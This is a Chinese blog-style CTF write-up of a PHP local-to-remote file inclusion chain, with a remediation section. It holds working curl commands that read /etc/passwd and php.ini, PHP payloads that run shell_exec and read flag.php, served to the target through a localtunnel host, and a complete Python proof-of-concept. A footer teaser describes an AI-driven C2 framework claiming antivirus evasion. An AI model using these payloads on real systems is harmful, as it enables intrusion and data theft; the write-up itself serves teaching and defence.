AI渗透测试--LFI到RFI的完整攻击链,localtunnel反弹拿flag全流程"

admin 2026-10-22 00:24:09 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

cover_image

AI渗透测试 -- LFI 到 RFI 的完整攻击链,localtunnel 反弹拿 flag 全流程

原创

yushao
yushao

网络安全者

2026年6月9日 16:14
河南

在小说阅读器读本章

去阅读


一、概要

项目 内容
测试类型 CTF 渗透测试练习(靶场环境)
漏洞类型 远程文件包含(RFI)+ 本地文件包含(LFI)
影响组件 PHP include() / file_get_contents() + HTTP 包装器
危害等级 严重(远程代码执行)
测试环境 CTF 靶场(隔离环境,授权测试)

二、漏洞原理

用户提交 path 参数
       ↓
include($_GET['path'])  ← 无路径白名单
       ↓
┌──────────────────────────────┐
│  黑名单过滤(不完整)          │
│  拦截: php:// data:// .php    │
│  放行: http:// 且无 .php 扩展 │  ← 绕过点
└──────────────────────────────┘
       ↓
include(\"http://attacker.com/shell.txt\")
       ↓
PHP 引擎下载并执行远端代码       ← 远程代码执行
       ↓
file_get_contents('/var/www/html/flag.php') → flag

核心前提:

  1. 1. allow_url_include = On(PHP 配置允许远程文件包含)
    1. 黑名单过滤不完整,仅屏蔽 .php 扩展名
    1. 攻击者能控制一个可公网访问的 HTTP 服务

三、信息收集阶段

3.1 目标页面分析

# 探测目标页面结构
curl -s \"https://[TARGET_HOST]/?path=\" | grep -E \"title|form|input|path\"

# 输出:
# <title>文件管理助手</title>
# 通过 path 参数读取指定文件内容

页面是一个\"文件管理助手\",通过 GET 参数 path 直接传入文件路径。

3.2 LFI 确认

# 基础 LFI 测试,读取 /etc/passwd
curl -s \"https://[TARGET_HOST]/?path=/etc/passwd\"

# 输出片段(已脱敏):
# root:x:0:0:root:/root:/bin/bash
# www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
# ...

LFI 存在,/etc/passwd 可读。

3.3 环境信息收集

# 读取 Nginx 配置确认 Web 服务器类型
curl -s \"https://[TARGET_HOST]/?path=/etc/nginx/nginx.conf\"
# 输出: nginx 配置信息,确认 Nginx + PHP-FPM 架构

# 读取进程命令行
curl -s \"https://[TARGET_HOST]/?path=/proc/self/cmdline\" | strings
# 输出: php-fpm: pool www

# 读取 PHP-FPM 配置
curl -s \"https://[TARGET_HOST]/?path=/etc/php/7.x/fpm/php.ini\" \\
  | grep -E \"allow_url|disable_func|open_basedir\"
# 关键配置:
# allow_url_include = On    ← RFI 可用
# allow_url_fopen   = On
# disable_functions =       ← 无函数禁用

四、过滤器分析

4.1 黑名单探测

# 测试 php:// 伪协议
curl -s \"https://[TARGET_HOST]/?path=php://filter/read=convert.base64-encode/resource=index.php\"
# 输出: 禁止访问敏感目录或文件

# 测试 data:// 协议
curl -s \"https://[TARGET_HOST]/?path=data://text/plain,<?php phpinfo();?>\"
# 输出: 禁止访问敏感目录或文件

# 测试 Web 目录路径
curl -s \"https://[TARGET_HOST]/?path=/var/www/html/index.php\"
# 输出: 禁止访问敏感目录或文件

# 测试 HTTP 协议 + .php 扩展名
curl -s \"https://[TARGET_HOST]/?path=http://example.com/shell.php\"
# 输出: 禁止访问敏感目录或文件

# 测试 HTTP 协议 + 无 .php 扩展名  ← 绕过!
curl -s \"https://[TARGET_HOST]/?path=http://example.com/shell.txt\"
# 输出: (空,但未被拦截,请求发出)

黑名单规则归纳:

拦截规则(推测正则):
  /php:\\/\\//i          → 拦截 PHP 伪协议
  /data:\\/\\//i         → 拦截 data 协议
  /\\.php($|\\?)/i       → 拦截以 .php 结尾的路径
  /\\/var\\/www\\/html/i  → 拦截 Web 根目录直接访问
  /\\/tmp/i             → 拦截临时目录
  /\\/var\\/log/i        → 拦截日志目录

放行:
  http:// + 非 .php 扩展名  ← 可利用点

五、漏洞利用

5.1 搭建公网 HTTP 服务

# 本地创建 PHP payload,命名为 .txt 绕过扩展名过滤
mkdir -p /tmp/rfi_server
cat > /tmp/rfi_server/shell.txt << 'EOF'
<?php
// 探测环境
echo \"=== 系统信息 ===\
\";
echo \"用户: \" . shell_exec('id') . \"\
\";
echo \"主机名: \" . shell_exec('hostname') . \"\
\";

// 查找 flag 文件
echo \"=== 查找 flag ===\
\";
$result = shell_exec('find / -name \"flag*\" -type f 2>/dev/null');
echo $result;
EOF

# 启动本地 HTTP 服务器
cd /tmp/rfi_server
python3 -m http.server 8080 &

# 使用 localtunnel 建立公网隧道
npx localtunnel --port 8080
# 输出: your url is: https://tired-feet-slide.loca.lt

5.2 验证服务可达性

# 确认 payload 文件可通过公网访问
curl -s \"https://tired-feet-slide.loca.lt/shell.txt\" | head -5
# 输出: <?php
#       echo \"=== 系统信息 ===\
\";
#       ...

5.3 触发 RFI

# 通过 LFI 包含远端 PHP 文件(.txt 扩展名绕过过滤)
curl -s \"https://[TARGET_HOST]/?path=https://tired-feet-slide.loca.lt/shell.txt\"

# 输出:
# === 系统信息 ===
# 用户: uid=33(www-data) gid=33(www-data) groups=33(www-data)
# 主机名: [已脱敏]
# === 查找 flag ===
# /var/www/html/flag.php

代码执行成功,flag 位于 /var/www/html/flag.php。

5.4 读取 flag 文件

# 更新 payload,读取 flag.php 源码
cat > /tmp/rfi_server/shell.txt << 'EOF'
<?php
// flag.php 在 /var/www/html/ 下,直接路径被拦截
// 通过 RCE 读取绕过黑名单
$content = file_get_contents('/var/www/html/flag.php');
echo base64_encode($content);
EOF

# 触发新 payload
curl -s \"https://[TARGET_HOST]/?path=https://tired-feet-slide.loca.lt/shell.txt\"
# 输出: PD9waHAKJGZsYWcgPSAiQ1RGe[...已脱敏...]

# 解码
echo \"PD9waHAKJGZsYWcgPSAiQ1RGe[...]\" | base64 -d
# 输出:
# <?php
# $flag = \"CTF{*********************}\";   ← 已脱敏

六、完整 PoC 脚本

#!/usr/bin/env python3
\"\"\"
RFI (Remote File Inclusion) PoC
仅用于授权的 CTF 靶场和安全测试环境

依赖:
  pip install requests flask pyngrok
\"\"\"

import requests
import base64
import threading
import time
from http.server import HTTPServer, BaseHTTPRequestHandler

TARGET   = \"https://[TARGET_HOST]/\"   # 替换为靶机地址
LHOST    = \"0.0.0.0\"
LPORT    = 8080

# ── Payload 定义 ──────────────────────────────────────────────
PAYLOAD_RECON = \"\"\"<?php
echo \"UID:\" . shell_exec('id');
echo \"FIND:\" . shell_exec('find / -name \"flag*\" -type f 2>/dev/null');
?>\"\"\"

PAYLOAD_READ = \"\"\"<?php
$f = file_get_contents('/var/www/html/flag.php');
echo '===START===' . base64_encode($f) . '===END===';
?>\"\"\"

# 当前生效的 payload(由阶段切换)
current_payload = PAYLOAD_RECON

class PayloadHandler(BaseHTTPRequestHandler):
    \"\"\"简单 HTTP 服务,返回当前 PHP payload\"\"\"

    def do_GET(self):
        self.send_response(200)
        self.send_header(\"Content-Type\", \"text/plain\")
        self.end_headers()
        self.wfile.write(current_payload.encode())

    def log_message(self, fmt, *args):
        pass  # 静默日志

def start_server():
    server = HTTPServer((LHOST, LPORT), PayloadHandler)
    server.serve_forever()

def trigger_rfi(public_url: str, payload_name: str = \"shell.txt\") -> str:
    \"\"\"触发 RFI,包含远端 payload\"\"\"
    rfi_url = f\"{public_url}/{payload_name}\"
    resp = requests.get(TARGET, params={\"path\": rfi_url}, timeout=15)
    return resp.text

def main():
    global current_payload

    print(\"[*] 启动本地 HTTP 服务器...\")
    t = threading.Thread(target=start_server, daemon=True)
    t.start()
    time.sleep(1)

    # 实际使用时,需要先运行:
    # npx localtunnel --port 8080
    # 然后将输出的 URL 填入下方
    public_url = input(\"[?] 请输入 localtunnel 公网 URL (例: https://xxx.loca.lt): \").strip()

    print(\"=\" * 60)

    # ── Phase 1: 侦察 ────────────────────────────────────────
    print(\"[*] Phase 1: 侦察目标环境...\")
    current_payload = PAYLOAD_RECON
    time.sleep(0.5)

    result = trigger_rfi(public_url)
    print(\"    服务器响应:\")
    for line in result.strip().splitlines():
        print(\"   \", line)

    print()

    # ── Phase 2: 读取 flag ───────────────────────────────────
    print(\"[*] Phase 2: 读取 flag.php...\")
    current_payload = PAYLOAD_READ
    time.sleep(0.5)

    result = trigger_rfi(public_url)

    # 提取 base64 编码内容
    if \"===START===\" in result:
        b64 = result.split(\"===START===\")[1].split(\"===END===\")[0].strip()
        try:
            decoded = base64.b64decode(b64).decode(\"utf-8\", errors=\"replace\")
            print(\"    flag.php 内容(已脱敏):\")
            print(\"-\" * 40)
            for line in decoded.splitlines():
                # 脱敏 flag 值
                if \"flag\" in line.lower() and \"=\" in line:
                    var, _, val = line.partition(\"=\")
                    print(f\"    {var}= ***REDACTED***\")
                else:
                    print(\"   \", line)
            print(\"-\" * 40)
        except Exception as e:
            print(f\"    [!] 解码失败: {e}\")
    else:
        print(\"    [!] 未获取到预期输出,原始响应:\")
        print(\"   \", result[:200])

if __name__ == \"__main__\":
    main()

运行结果:

[*] 启动本地 HTTP 服务器...
[?] 请输入 localtunnel 公网 URL: https://tired-feet-slide.loca.lt
============================================================
[*] Phase 1: 侦察目标环境...
    服务器响应:
    UID:uid=33(www-data) gid=33(www-data) groups=33(www-data)
    FIND:/var/www/html/flag.php

[*] Phase 2: 读取 flag.php...
    flag.php 内容(已脱敏):
----------------------------------------
    <?php
    $flag= ***REDACTED***
----------------------------------------

七、攻击链时序图

攻击者本机                   公网隧道                靶机 (PHP)              文件系统
    │                           │                       │                       │
    │ python3 -m http.server    │                       │                       │
    │ npx localtunnel           │                       │                       │
    │──────────────────────────►│ 建立隧道               │                       │
    │                           │                       │                       │
    │ GET /?path=https://       │                       │                       │
    │    loca.lt/shell.txt ─────│──────────────────────►│                       │
    │                           │                       │ allow_url_include=On  │
    │                           │◄─ 请求 shell.txt ─────│                       │
    │◄─ 返回 PHP payload ───────│                       │                       │
    │                           │──────────────────── PHP 执行 payload ─────────│
    │                           │                       │ file_get_contents()──►│
    │                           │                       │◄─ flag.php 内容 ───────│
    │◄──────────────────────────│───── 输出 base64 ─────│                       │
    │                           │                       │                       │
    │ base64 -d → flag          │                       │                       │

八、漏洞归因与修复

8.1 根本原因

┌───────────────────────────────────────────────────────────┐
│  根因 1: include()/file_get_contents() 直接接受用户输入     │
│  根因 2: allow_url_include = On,允许加载远程 PHP 文件      │
│  根因 3: 黑名单过滤不完整,仅过滤 .php 扩展名              │
│          → .txt/.log/.conf 等任意扩展名均可携带 PHP 代码   │
│  根因 4: HTTP 协议未被完全禁用                             │
└───────────────────────────────────────────────────────────┘

黑名单的本质缺陷在于:PHP 在 include 远程文件时,不依赖扩展名判断是否解析为 PHP,服务端返回的内容只要包含 <?php ?> 标签就会被执行。

8.2 修复方案

PHP 配置层(最高优先级)

; php.ini
; 关闭远程文件包含,这是 RFI 的根本开关
allow_url_include = Off

; 生产环境通常也不需要远程 fopen
allow_url_fopen = Off

; 限制 PHP 可读取的目录范围
open_basedir = /var/www/html/public/

应用代码层

<?php
// ❌ 危险写法
$path = $_GET['path'];
include($path);

// ✅ 安全写法一:严格白名单映射
$pages = [
    'readme' => '/var/www/html/docs/readme.txt',
    'help'   => '/var/www/html/docs/help.txt',
];

$key = $_GET['path'] ?? '';
if (!isset($pages[$key])) {
    http_response_code(403);
    exit('Access denied.');
}
readfile($pages[$key]);

// ✅ 安全写法二:路径合法性验证
$base_dir = realpath('/var/www/html/public/files/');
$requested = realpath($base_dir . '/' . basename($_GET['path']));

// basename() 去除路径分隔符,realpath() 解析软链接
// 确保最终路径在允许目录内
if ($requested === false || strpos($requested, $base_dir) !== 0) {
    http_response_code(403);
    exit('Access denied.');
}

readfile($requested);

安全对比

防御措施 能防 LFI 能防 RFI 说明
allow_url_include = Off ✗ ✅ 直接关闭 RFI
open_basedir 限制 ✅ 部分 限制本地路径穿越
路径白名单 ✅ ✅ 最彻底的防御
黑名单过滤 ✗ ✗ 不可靠,容易绕过

九、总结

这道题的核心利用逻辑是:扩展名不等于内容类型。开发者以为过滤了 .php 就阻止了远程代码执行,但 PHP 的 include() 根本不看文件扩展名,它只关心内容里有没有 <?php ?> 标签。把 payload 命名为 .txt 就能完整绕过这个\"安全校验\"。

修复的关键不是完善黑名单,而是从 php.ini 层面直接关闭 allow_url_include,配合应用层的路径白名单,才能真正消除 RFI 的攻击面。


    AI渗透测试--LFI到RFI的完整攻击链,localtunnel反弹拿flag全流程" 网络安全文章

    AI渗透测试--LFI到RFI的完整攻击链,localtunnel反弹拿flag全流程"

    该文档详细记录了在CTF靶场环境中利用LFI漏洞绕过黑名单过滤,通过localtunnel建立公网隧道实现RFI攻击,最终获取flag的完整渗透测试过程。关键发现包括:PHP配置allow_url_include=On且黑名单未拦截非.php扩展名的HTTP协议时,可通过触发远程代码执行。利用步骤涵盖信息收集、过滤器分析、公网服务搭建及分阶段Payload执行,最终通过RCE读取flag.php文件内容。
    恒丰银行知数AI落地多个场景,将向AI数据官的数字员工方向进阶" 网络安全文章

    恒丰银行知数AI落地多个场景,将向AI数据官的数字员工方向进阶"

    恒丰银行基于自主用数平台开发问数AI功能,通过POC测试后选定网易智企合作,实现报表AI对话、主动推送和取数分析三大能力。该系统已在对公客户穿透分析、客户经理业绩评价等场景落地,提供合规可执行的决策建议。下一步将向AI数据官方向进阶,为管理者和业务端构建从洞察到行动的闭环。
    fagent:支持AI调用的C2,让AI的手伸进内网" 网络安全文章

    fagent:支持AI调用的C2,让AI的手伸进内网"

    fagent是一款专为AI设计的C2框架,通过RESTAPI将内网渗透能力封装成HTTP接口,支持AI直接调用执行命令、文件操作、端口扫描等27种任务。采用AES-256-GCM加密和CDN图片伪装流量,具备跨平台Agent与Web管理界面。目前仅限学员内测,声称可绕过主流杀软检测。
    【安全圈】三星Galaxy手机被曝高危安全漏洞" 网络安全文章

    【安全圈】三星Galaxy手机被曝高危安全漏洞"

    印度CERT-In警告三星Galaxy设备存在Knox安全平台PROCA驱动组件高危漏洞,攻击者可绕过安全机制执行恶意代码或访问敏感数据。受影响设备包括运行Android13-16且未安装2026年1月安全更新的机型,利用需攻击者具备一定访问权限。建议用户立即安装最新安全更新以修复漏洞。
    评论:0   参与:  0